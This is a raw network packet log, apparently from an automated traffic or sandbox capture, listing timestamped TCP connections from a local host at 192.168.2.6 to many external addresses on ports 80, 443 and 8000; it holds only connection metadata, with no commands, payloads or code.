                                                                                                                                                                                                          Nov 11, 2024 18:13:04.770571947 CET44358868188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.770613909 CET58868443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.774703979 CET44358868188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.778750896 CET58868443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.816706896 CET58868443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.816754103 CET44358868188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.816806078 CET58868443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.871040106 CET5887080192.168.2.613.248.169.48
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.875910997 CET805887013.248.169.48192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.876122952 CET5887080192.168.2.613.248.169.48
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.880290985 CET5887080192.168.2.613.248.169.48
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.885122061 CET805887013.248.169.48192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.058904886 CET5887180192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.064062119 CET8058871188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.064225912 CET5887180192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.069365025 CET5887180192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.074115038 CET8058871188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.193986893 CET5887480192.168.2.63.94.10.34
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.198831081 CET80588743.94.10.34192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.199018955 CET5887480192.168.2.63.94.10.34
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.200031042 CET5887480192.168.2.63.94.10.34
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.204936028 CET80588743.94.10.34192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.642127037 CET805887013.248.169.48192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.642224073 CET5887080192.168.2.613.248.169.48
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.643543959 CET5887580192.168.2.618.208.156.248
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.646051884 CET805887013.248.169.48192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.646125078 CET5887080192.168.2.613.248.169.48
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.646775961 CET80588743.94.10.34192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.646789074 CET80588743.94.10.34192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.646846056 CET5887480192.168.2.63.94.10.34
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.648644924 CET805887518.208.156.248192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.649034023 CET5887580192.168.2.618.208.156.248
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.657099962 CET5887580192.168.2.618.208.156.248
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.662075996 CET805887518.208.156.248192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.662957907 CET5887480192.168.2.63.94.10.34
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.669775009 CET80588743.94.10.34192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.674767971 CET5887780192.168.2.6103.150.10.48
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.679614067 CET8058877103.150.10.48192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.679676056 CET5887780192.168.2.6103.150.10.48
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.679856062 CET5887780192.168.2.6103.150.10.48
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.685316086 CET8058877103.150.10.48192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.769691944 CET8058871188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.769790888 CET5887180192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.776951075 CET58879443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.776982069 CET44358879188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.777457952 CET58879443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.777793884 CET58879443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.777806997 CET44358879188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:06.077861071 CET805887518.208.156.248192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:06.077940941 CET5887580192.168.2.618.208.156.248
                                                                                                                                                                                                          Nov 11, 2024 18:13:06.082874060 CET5887580192.168.2.618.208.156.248
                                                                                                                                                                                                          Nov 11, 2024 18:13:06.084538937 CET805887518.208.156.248192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:06.084589005 CET5887580192.168.2.618.208.156.248
                                                                                                                                                                                                          Nov 11, 2024 18:13:06.087717056 CET805887518.208.156.248192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:06.350502014 CET44358879188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:06.350578070 CET58879443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:06.359952927 CET58879443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:06.359972000 CET44358879188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:06.360264063 CET44358879188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:06.360321045 CET58879443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:06.360677958 CET58879443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:06.407331944 CET44358879188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:06.462517977 CET8058877103.150.10.48192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:06.462606907 CET5887780192.168.2.6103.150.10.48
                                                                                                                                                                                                          Nov 11, 2024 18:13:06.495817900 CET588828000192.168.2.6106.15.232.163
                                                                                                                                                                                                          Nov 11, 2024 18:13:06.500885963 CET800058882106.15.232.163192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:06.500971079 CET588828000192.168.2.6106.15.232.163
                                                                                                                                                                                                          Nov 11, 2024 18:13:06.501164913 CET588828000192.168.2.6106.15.232.163
                                                                                                                                                                                                          Nov 11, 2024 18:13:06.505947113 CET800058882106.15.232.163192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:07.289659023 CET800058882106.15.232.163192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:07.290726900 CET588828000192.168.2.6106.15.232.163
                                                                                                                                                                                                          Nov 11, 2024 18:13:07.500108957 CET5887780192.168.2.6103.150.10.48
                                                                                                                                                                                                          Nov 11, 2024 18:13:07.505074024 CET8058877103.150.10.48192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:07.771686077 CET8058877103.150.10.48192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:07.771923065 CET5887780192.168.2.6103.150.10.48
                                                                                                                                                                                                          Nov 11, 2024 18:13:07.781213045 CET588828000192.168.2.6106.15.232.163
                                                                                                                                                                                                          Nov 11, 2024 18:13:07.786101103 CET800058882106.15.232.163192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:08.078102112 CET44358879188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:08.078150988 CET44358879188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:08.078176975 CET58879443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:08.078181982 CET44358879188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:08.078206062 CET44358879188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:08.078218937 CET58879443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:08.078228951 CET58879443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:08.078243971 CET58879443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:08.078248024 CET44358879188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:08.078286886 CET58879443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:08.078290939 CET44358879188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:08.078349113 CET58879443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:08.078352928 CET44358879188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:08.078388929 CET58879443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:08.078526020 CET44358879188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:08.078560114 CET58879443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:08.079375982 CET44358879188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:08.079426050 CET58879443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:08.081779957 CET58879443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:08.081804037 CET58879443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:08.083502054 CET5887180192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:08.088529110 CET8058871188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:08.089905024 CET800058882106.15.232.163192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:08.089962959 CET588828000192.168.2.6106.15.232.163
                                                                                                                                                                                                          Nov 11, 2024 18:13:08.496052980 CET8058871188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:08.496238947 CET5887180192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:08.502126932 CET58899443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:08.502152920 CET44358899188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:08.502242088 CET58899443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:08.502536058 CET58899443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:08.502547026 CET44358899188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:08.935086966 CET44358899188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:08.935183048 CET58899443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:08.937166929 CET58899443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:08.937179089 CET44358899188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:08.937524080 CET44358899188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:08.937609911 CET58899443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:08.938052893 CET58899443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:08.979332924 CET44358899188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.557883024 CET8058860199.59.243.227192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.557950020 CET5886080192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.604954004 CET44358899188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.605011940 CET44358899188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.605015039 CET58899443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.605030060 CET44358899188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.605057955 CET44358899188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.605079889 CET58899443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.605087042 CET44358899188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.605122089 CET44358899188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.605123997 CET58899443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.605123997 CET58899443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.605133057 CET44358899188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.605169058 CET58899443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.605194092 CET58899443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.605199099 CET44358899188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.605254889 CET58899443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.605530024 CET44358899188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.605604887 CET58899443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.605604887 CET58899443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.605604887 CET58899443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.605618000 CET44358899188.114.96.3192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.605715036 CET58899443192.168.2.6188.114.96.3
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.699630022 CET5892780192.168.2.664.225.91.73
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.705117941 CET805892764.225.91.73192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.705182076 CET5892780192.168.2.664.225.91.73
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.706023932 CET5892780192.168.2.664.225.91.73
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.710845947 CET805892764.225.91.73192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.083494902 CET6203480192.168.2.676.223.67.189
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.961796999 CET805892764.225.91.73192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.961855888 CET5892780192.168.2.664.225.91.73
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.962002993 CET6203680192.168.2.6103.224.212.210
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.962304115 CET6203580192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.963176966 CET6203780192.168.2.6154.85.183.50
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.963551044 CET805892764.225.91.73192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.963612080 CET5892780192.168.2.664.225.91.73
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.964209080 CET805892764.225.91.73192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.964271069 CET5892780192.168.2.664.225.91.73
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.966746092 CET806203476.223.67.189192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.966820955 CET6203480192.168.2.676.223.67.189
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.966931105 CET6203480192.168.2.676.223.67.189
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.971293926 CET8062036103.224.212.210192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.971304893 CET806203544.221.84.105192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.971323013 CET8062037154.85.183.50192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.971393108 CET6203680192.168.2.6103.224.212.210
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.971415997 CET6203580192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.971430063 CET6203780192.168.2.6154.85.183.50
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.971513033 CET6203680192.168.2.6103.224.212.210
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.971652031 CET6203580192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.971883059 CET806203476.223.67.189192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.971950054 CET6203780192.168.2.6154.85.183.50
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.976322889 CET8062036103.224.212.210192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.976370096 CET806203544.221.84.105192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.976931095 CET8062037154.85.183.50192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:13.147245884 CET6203880192.168.2.6103.224.182.252
                                                                                                                                                                                                          Nov 11, 2024 18:13:13.152098894 CET8062038103.224.182.252192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:13.152198076 CET6203880192.168.2.6103.224.182.252
                                                                                                                                                                                                          Nov 11, 2024 18:13:13.154115915 CET6203880192.168.2.6103.224.182.252
                                                                                                                                                                                                          Nov 11, 2024 18:13:13.159367085 CET8062038103.224.182.252192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:13.401648998 CET806203544.221.84.105192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:13.401819944 CET6203580192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:13.402798891 CET806203476.223.67.189192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:13.403376102 CET6203480192.168.2.676.223.67.189
                                                                                                                                                                                                          Nov 11, 2024 18:13:13.403965950 CET6203580192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:13.407500029 CET806203544.221.84.105192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:13.407598972 CET6203580192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:13.409940958 CET806203544.221.84.105192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:13.522627115 CET8062036103.224.212.210192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:13.523144007 CET6203680192.168.2.6103.224.212.210
                                                                                                                                                                                                          Nov 11, 2024 18:13:13.525604010 CET6203680192.168.2.6103.224.212.210
                                                                                                                                                                                                          Nov 11, 2024 18:13:13.532200098 CET8062036103.224.212.210192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:13.532280922 CET6203680192.168.2.6103.224.212.210
                                                                                                                                                                                                          Nov 11, 2024 18:13:13.737201929 CET8062038103.224.182.252192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:13.737442970 CET6203880192.168.2.6103.224.182.252
                                                                                                                                                                                                          Nov 11, 2024 18:13:13.739430904 CET6203880192.168.2.6103.224.182.252
                                                                                                                                                                                                          Nov 11, 2024 18:13:13.745062113 CET8062038103.224.182.252192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:13.745157957 CET6203880192.168.2.6103.224.182.252
                                                                                                                                                                                                          Nov 11, 2024 18:13:13.807904959 CET8062037154.85.183.50192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:13.807991028 CET6203780192.168.2.6154.85.183.50
                                                                                                                                                                                                          Nov 11, 2024 18:13:13.858683109 CET6203780192.168.2.6154.85.183.50
                                                                                                                                                                                                          Nov 11, 2024 18:13:13.864399910 CET8062037154.85.183.50192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:13.882671118 CET6205080192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:13:13.887665987 CET8062050199.59.243.227192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:13.887823105 CET6205080192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:13:13.888042927 CET6205080192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:13:13.892874002 CET8062050199.59.243.227192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.112021923 CET6205280192.168.2.664.190.63.136
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.116902113 CET806205264.190.63.136192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.117002964 CET6205280192.168.2.664.190.63.136
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.117108107 CET6205280192.168.2.664.190.63.136
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.121903896 CET806205264.190.63.136192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.143414021 CET8062037154.85.183.50192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.143551111 CET6203780192.168.2.6154.85.183.50
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.313991070 CET8062050199.59.243.227192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.314057112 CET6205080192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.314696074 CET8062050199.59.243.227192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.314759970 CET6205080192.168.2.6199.59.243.227
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.807411909 CET806205264.190.63.136192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.807436943 CET806205264.190.63.136192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.807451963 CET806205264.190.63.136192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.807465076 CET806205264.190.63.136192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.807477951 CET806205264.190.63.136192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.807491064 CET806205264.190.63.136192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.807503939 CET806205264.190.63.136192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.807511091 CET6205280192.168.2.664.190.63.136
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.807517052 CET806205264.190.63.136192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.807532072 CET806205264.190.63.136192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.807547092 CET806205264.190.63.136192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.807555914 CET6205280192.168.2.664.190.63.136
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.807580948 CET6205280192.168.2.664.190.63.136
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.807596922 CET6205280192.168.2.664.190.63.136
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.812423944 CET806205264.190.63.136192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.812489033 CET806205264.190.63.136192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.812545061 CET6205280192.168.2.664.190.63.136
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.896774054 CET806205264.190.63.136192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.896790981 CET806205264.190.63.136192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.896804094 CET806205264.190.63.136192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.896817923 CET806205264.190.63.136192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.896836042 CET806205264.190.63.136192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.896848917 CET806205264.190.63.136192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.896862984 CET806205264.190.63.136192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.896862984 CET6205280192.168.2.664.190.63.136
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.896876097 CET806205264.190.63.136192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.896891117 CET806205264.190.63.136192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.896902084 CET806205264.190.63.136192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.896905899 CET6205280192.168.2.664.190.63.136
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.896925926 CET6205280192.168.2.664.190.63.136
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.896951914 CET6205280192.168.2.664.190.63.136
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.846199036 CET6111280192.168.2.664.225.91.73
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.851959944 CET806111264.225.91.73192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.852160931 CET6111280192.168.2.664.225.91.73
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.852260113 CET6111280192.168.2.664.225.91.73
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.858212948 CET806111264.225.91.73192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:16.141174078 CET5543680192.168.2.672.52.179.174
                                                                                                                                                                                                          Nov 11, 2024 18:13:16.146178961 CET805543672.52.179.174192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:16.146254063 CET5543680192.168.2.672.52.179.174
                                                                                                                                                                                                          Nov 11, 2024 18:13:16.146435022 CET5543680192.168.2.672.52.179.174
                                                                                                                                                                                                          Nov 11, 2024 18:13:16.151734114 CET805543672.52.179.174192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:16.408402920 CET806111264.225.91.73192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:16.408689022 CET6111280192.168.2.664.225.91.73
                                                                                                                                                                                                          Nov 11, 2024 18:13:16.640940905 CET805543672.52.179.174192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:16.641079903 CET5543680192.168.2.672.52.179.174
                                                                                                                                                                                                          Nov 11, 2024 18:13:16.641079903 CET5543680192.168.2.672.52.179.174
                                                                                                                                                                                                          Nov 11, 2024 18:13:16.646085978 CET805543672.52.179.174192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:16.675443888 CET5544280192.168.2.672.52.179.174
                                                                                                                                                                                                          Nov 11, 2024 18:13:16.680500984 CET805544272.52.179.174192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:16.680620909 CET5544280192.168.2.672.52.179.174
                                                                                                                                                                                                          Nov 11, 2024 18:13:16.680766106 CET5544280192.168.2.672.52.179.174
                                                                                                                                                                                                          Nov 11, 2024 18:13:16.685717106 CET805544272.52.179.174192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.174140930 CET805544272.52.179.174192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.174274921 CET5544280192.168.2.672.52.179.174
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.185538054 CET5544280192.168.2.672.52.179.174
                                                                                                                                                                                                          Nov 11, 2024 18:13:17.190532923 CET805544272.52.179.174192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.881242990 CET806205264.190.63.136192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.881429911 CET6205280192.168.2.664.190.63.136
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.916712046 CET5200280192.168.2.652.34.198.229
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.921547890 CET805200252.34.198.229192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.921735048 CET5200280192.168.2.652.34.198.229
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.921906948 CET5200280192.168.2.652.34.198.229
                                                                                                                                                                                                          Nov 11, 2024 18:13:19.926686049 CET805200252.34.198.229192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.604234934 CET805200252.34.198.229192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.604330063 CET5200280192.168.2.652.34.198.229
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.605576992 CET5200280192.168.2.652.34.198.229
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.611365080 CET805200252.34.198.229192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:20.611495972 CET5200280192.168.2.652.34.198.229
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.879642963 CET5536880192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.885267019 CET805536844.221.84.105192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.885351896 CET5536880192.168.2.644.221.84.105
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.885515928 CET5536880192.168.2.644.221.84.105
